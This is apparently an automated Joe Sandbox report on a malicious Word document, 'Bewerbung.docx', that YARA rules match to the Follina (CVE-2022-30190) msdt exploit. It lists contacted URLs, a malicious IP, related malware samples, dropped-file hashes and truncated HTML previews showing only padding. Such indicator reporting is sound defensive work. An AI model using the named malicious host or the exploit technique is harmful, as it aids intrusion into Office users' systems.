https://sr.outlook.office.net/ws/speech/recognize/assistant/work	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://api.scheduler.	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://my.microsoftpersonalcontent.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://store.office.cn/addinstemplate	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://api.aadrm.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://globaldisco.crm.dynamics.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://messaging.engagement.office.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://dev0-api.acompli.net/autodetect	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://www.odwebp.svc.ms	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://api.diagnosticssdf.office.com/v2/feedback	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://api.powerbi.com/v1.0/myorg/groups	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://web.microsoftstream.com/video/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://dataservice.o365filtering.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://ncus.contentsync.	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
http://weather.service.msn.com/data.aspx	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://apis.live.net/v5.0/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://messaging.lifecycle.office.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://management.azure.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://outlook.office365.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://wus2.contentsync.	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://incidents.diagnostics.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://insertmedia.bing.office.net/odc/insertmedia	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://api.office.net	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://incidents.diagnosticssdf.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://entitlement.diagnostics.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://substrate.office.com/search/api/v2/init	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://outlook.office.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://outlook.office365.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://webshell.suite.office.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://management.azure.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://messaging.lifecycle.office.com/getcustommessage16	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://clients.config.office.net/c2r/v1.0/InteractiveInstallation	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://login.windows.net/common/oauth2/authorize	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://devnull.onenote.com	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://messaging.action.office.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://ncus.pagecontentsync.	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false	URL Reputation: safe	unknown
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high
https://messaging.office.com/	E24EF0C9-A590-42E5-86FE-7CD4853FA5C1.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.27.134.11	unknown	United Kingdom		34119	WILDCARD-ASWildcardUKLimitedGB	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	705530
Start date and time:	2022-09-19 15:39:41 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Bewerbung.docx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal92.troj.expl.evad.winDOCX@14/33@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .docx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sdiagnhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 52.109.76.141, 20.25.84.51, 20.126.106.131, 20.231.69.218, 80.67.82.235, 80.67.82.211
Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, login.live.com, config.officeapps.live.com, prod.configsvc1.live.com.akadns.net, raw.githubusercontent.com, nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, a1449.dscg2.akamai.net, arc.msn.com, europe.configsvc1.live.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.27.134.11	9t3UoeIMi6.exe	Get hash	malicious	Browse
185.27.134.11	oUw0Yf51fU.exe	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WILDCARD-ASWildcardUKLimitedGB	Bewerbung.docx	Get hash	malicious	Browse	185.27.134.11
	QUOTATION-648737.exe	Get hash	malicious	Browse	185.27.134.213
	REQUEST FOR QUOTE (SUPPLIES).exe	Get hash	malicious	Browse	185.27.134.33
	d.vbs	Get hash	malicious	Browse	185.27.133.14
	Nuevo orden_________________.PDF.vbs	Get hash	malicious	Browse	185.27.133.14
	neueva ordesdfdsfdfn009.pdf.vbs	Get hash	malicious	Browse	185.27.133.14
	Medicat_Installer.bat	Get hash	malicious	Browse	31.22.4.101
	Maersk Bill of Lading, Packing List and Commercial Invoice_pdf.vbs	Get hash	malicious	Browse	185.27.134.102
	SWIFT MT103.vbs	Get hash	malicious	Browse	185.27.134.102
	Purchase Order Pricelist & Samples.vbs	Get hash	malicious	Browse	185.27.134.102
	Original Bill of Lading, Packing List and Commercial Invoice .vbs	Get hash	malicious	Browse	185.27.134.102
	SWIFT COPY & ADVICE.vbs	Get hash	malicious	Browse	185.27.134.102
	PO#2022CTV05-47.exe	Get hash	malicious	Browse	185.27.134.102
	Unclear Proforma Invoice.vbs	Get hash	malicious	Browse	185.27.134.153
	EMPLOYEE BENEFITS.html	Get hash	malicious	Browse	31.22.4.93
	poUlN2PnnD	Get hash	malicious	Browse	82.163.179.155
	Smqw34mNlm	Get hash	malicious	Browse	82.163.179.146
	Signed Agreement.html	Get hash	malicious	Browse	31.22.4.93
	9t3UoeIMi6.exe	Get hash	malicious	Browse	185.27.134.11
	IQ5COa42Nm.dll	Get hash	malicious	Browse	31.22.4.160

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Windows\Temp\SDIAG_95d8fc73-225c-4318-a053-73188be49aeb\DiagPackage.dll	nnxPt0Yydv.doc	Get hash	malicious	Browse
	qoIZSkdejM.docx	Get hash	malicious	Browse
	icRTA4gcSe.docx	Get hash	malicious	Browse
	order.docx	Get hash	malicious	Browse
	Court Fine.doc	Get hash	malicious	Browse
	20220714 DWG.doc	Get hash	malicious	Browse
	purchase order.xlsx	Get hash	malicious	Browse
	WF0SlQWKr1.docx	Get hash	malicious	Browse
	V3g2Pfu707.docx	Get hash	malicious	Browse
	5YMh6S8QVr.docx	Get hash	malicious	Browse
	ZDhoKQk8G6.docx	Get hash	malicious	Browse
	TranQuangDai.docx	Get hash	malicious	Browse
	doc782.docx	Get hash	malicious	Browse
	68101181_048154.img	Get hash	malicious	Browse
	doc782.docx	Get hash	malicious	Browse
	doc1712.docx	Get hash	malicious	Browse
	R346ltaP9w.rtf	Get hash	malicious	Browse
	VIP Invitation to Doha Expo 2023.docx	Get hash	malicious	Browse
	WykHEO9BQN.rtf	Get hash	malicious	Browse
	lol666 (2).bat	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.accdb

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	Microsoft Access Database
Category:	dropped
Size (bytes):	528384
Entropy (8bit):	0.47601592962080286
Encrypted:	false
SSDEEP:	768:7fXPWoWPL2WiWJWAWcWrWYWrLN2lChHhZfEvy/LI:7f3ChHhlEqTI
MD5:	D5BAA5C199679EDB0CEB52E91B07DCFF
SHA1:	44E8B185BE09A44CD1010606F43A9A145D5D1AF5
SHA-256:	B4DD54945C461B00C85856887786D80B5DB7DEB2B4345C7F6C798A2F9EBE7F88
SHA-512:	7551874B1095BD3B1675B136A12AC56086D59A56BF93644FB57B24FEB81F1866C185A820A06E7C2E897C447F16711C31B3837CAE52A744C0803FF223DB991B7B
Malicious:	false
Preview:	....Standard ACE DB......n.b`..U.gr@?..~.....1.y..0...c...F...N.T.7J....(....`C;{6...`[.C...3#.y[..\|*..\|.....&.<s..f_...$.g..'D...e....F.x....-b.T...4.0.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.ini

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	36
Entropy (8bit):	2.730660070105504
Encrypted:	false
SSDEEP:	3:5NixJlElGUR:WrEcUR
MD5:	1F830B53CA33A1207A86CE43177016FA
SHA1:	BDF230E1F33AFBA5C9D5A039986C6505E8B09665
SHA-256:	EAF9CDC741596275E106DDDCF8ABA61240368A8C7B0B58B08F74450D162337EF
SHA-512:	502248E893FCFB179A50863D7AC1866B5A466C9D5781499EBC1D02DF4F6D3E07B9E99E0812E747D76734274BD605DAD6535178D6CE06F08F1A02AB60335DE066
Malicious:	false
Preview:	C.e.n.t.r.a.l.T.a.b.l.e...a.c.c.d.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\OfficeFileCache\CentralTable.laccdb

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.3235360556164644
Encrypted:	false
SSDEEP:	3:1Ri/FFFFaV:e//Hu
MD5:	8F0EA1CC909B6496FE4022B648B946A4
SHA1:	D3CBD55CA7D1CE5D3387681111F01F2C5E8F083D
SHA-256:	891064FB577BD1AC50BDEC6BA052049FDBC6D99B2BDF27415050FA891ACF2BB6
SHA-512:	940DC001CDB8F133EBE575001396A11C44AA7C80D4722787CA7B8364614B40FE14726F68615A002DA3E713D293AB5127907B3BA31E2BCA48E9508522709287EF
Malicious:	false
Preview:	888683. Admin.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E24EF0C9-A590-42E5-86FE-7CD4853FA5C1

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	147988
Entropy (8bit):	5.358195066424836
Encrypted:	false
SSDEEP:	1536:dcQW/gxgB5BQguw//Q9DQe+zQhk4F77nXmvid3XRWEoLcL6w:MHQ9DQe+zWXJp
MD5:	E4B4E851387BDF70D645C05340E4E697
SHA1:	63E18AEB9683BCA7E7B30F20501A611FCD67997B
SHA-256:	9B8542E069B1458C63592B083EED8809F11A05BE6DEA2B4E460EA28EADD5B4F9
SHA-512:	523D3EBDC3D5B2C686F7D1DA00AF15E0E01E39663759BE7C797B9B2BB3105ED4646422810C43133CD564B288421F337FCA757C548F2457DFF556748CC7D1F860
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2022-09-19T13:40:39">.. Build: 16.0.15711.30525-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\29896CD7.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	PNG image data, 472 x 598, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	46224
Entropy (8bit):	7.952830864450301
Encrypted:	false
SSDEEP:	768:SXvKJDFb6VF0ZFm/C+pLUGAc+FREoRQ6I0IMRQRpyVCI5O4zn+O6ajETW:3MyD2jAfFGJsCRpyrO4zn+O6dK
MD5:	2D63CD1ECDCFF4BDAFBC58CC864A3E4A
SHA1:	7262B35EF8E8E20BEB4D6F65D70E9672F2A5587A
SHA-256:	9582FFB5FAB18CE903464EABEC820C51A3C24672C2A67C4200381164CE554BE8
SHA-512:	E94C42D46CBEC76AA9AC151C129AE126F39B6EF9B69D7EA559F4BA05660A97A29889994256EDF7015FA5BFC7A2EFDDC1E7BF36A1BEAC98AC5B590E29A24A0C01
Malicious:	false
Preview:	.PNG........IHDR.......V.....t.......sRGB.........pHYs..........+.....5IDATx^..$.$..9........;..d.W.>.7.V.uvgE.......n.......].Pw....L...Lu..<<..S;v..1.]/^.xe.k.]+'._.@...A`#...H....A ....#.C.q.SB...A`C...o..d..A .l....c...@....B .xC.%s...A`....o.....@....1.../..@....G .x.... .......!..\|....@..8..^.\|..RRB...A ....\|....d..A .........R.@....F .x..%c...A`6.........@.X7.1.....@....A .x68.. .......!^7t....@....1..1... ...@..K. ....l..!...)%... .n.b...]2.. ..f.@..lpL)A ...u#.C.n.1... 0..b.g.cJ..A ......uC..A .... .C<..SJ...A`.......d..A .........R.@....F .x..%c...A`6.........@.X7.1.....@....A .x68.. .......!^7t....@....1..1... ...@..K. ....l..!...)%... .n.b...]2.. ..f.@..lpL)A ...u#.C.n.1... 0..b.g.cJ..A ......uC..A .... .C<..SJ...A`.......d..A .........R.@....F .x..%c...A`6.........@.X7.1.....@....A .x68.. .......!^7t....@....1..1... ...@..K. ....l..!...)%... .n.v.\|.r.79....... 0..].vy..:..f..g...x..O.A ....@.q. ... .....oq... .....p./F.;..{......w.^.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6785
Entropy (8bit):	1.4819495400876375
Encrypted:	false
SSDEEP:	24:0pildlK8PkikLnPKZ2kbsMiPlRKVAsyeJuasL34SJ4T:08ldnUPyNbsMiPDlwsj4S2T
MD5:	119DBEA31494051D0D82FE7B2DBF8F93
SHA1:	E165513F48E0A94BD49D880421A3BFBD07B59ACA
SHA-256:	B621E986424FA067D0F46508FBEE741836B87AD44B373EEA01004E1C4896A31B
SHA-512:	01A9D0A7FA858721622AC73D3AA4F5AF3BF6DA702E9E6B7CB6077DB08A66944E4248DB561E9EF9FBD092ED62308FEF57BAFAF323C4C51A66136F8B7329944705
Malicious:	true
Yara Hits:	Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html, Author: Nasreddine Bencherchali, Christian Burkard Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html, Author: Tobias Michalski, Christian Burkard Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7E5730EC.html, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	<!doctype html>.<html lang="en">.<body>.<script>.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6785
Entropy (8bit):	1.4819495400876375
Encrypted:	false
SSDEEP:	24:0pildlK8PkikLnPKZ2kbsMiPlRKVAsyeJuasL34SJ4T:08ldnUPyNbsMiPDlwsj4S2T
MD5:	119DBEA31494051D0D82FE7B2DBF8F93
SHA1:	E165513F48E0A94BD49D880421A3BFBD07B59ACA
SHA-256:	B621E986424FA067D0F46508FBEE741836B87AD44B373EEA01004E1C4896A31B
SHA-512:	01A9D0A7FA858721622AC73D3AA4F5AF3BF6DA702E9E6B7CB6077DB08A66944E4248DB561E9EF9FBD092ED62308FEF57BAFAF323C4C51A66136F8B7329944705
Malicious:	true
Yara Hits:	Rule: SUSP_PS1_Msdt_Execution_May22, Description: Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html, Author: Nasreddine Bencherchali, Christian Burkard Rule: EXPL_Follina_CVE_2022_30190_Msdt_MSProtocolURI_May22, Description: Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html, Author: Tobias Michalski, Christian Burkard Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EEF783FD.html, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	<!doctype html>.<html lang="en">.<body>.<script>.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.//AAAAAAAAAAAAAAAAAAAAAAAAAA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{64A3FFB2-7704-4056-A38D-43E98D209F95}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{67E04DCA-0F5C-43A4-A30A-1D3E6BF2FA13}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.6572068910197604
Encrypted:	false
SSDEEP:	12:FlIucdQDCkHVbjBm5ucdQDCkHVbjBmK764tJnvZS9n:FlVbjhlVbjte4tJgn
MD5:	92D46261B7D3E8571C94B166C28A7A43
SHA1:	2800D21E99C20CD324F41748DA037BA17C0A4E0D
SHA-256:	590C6E2A2B5FF99F5AD9223F4A58EDD8B453504DDB2EC11FCCB941E844426C38
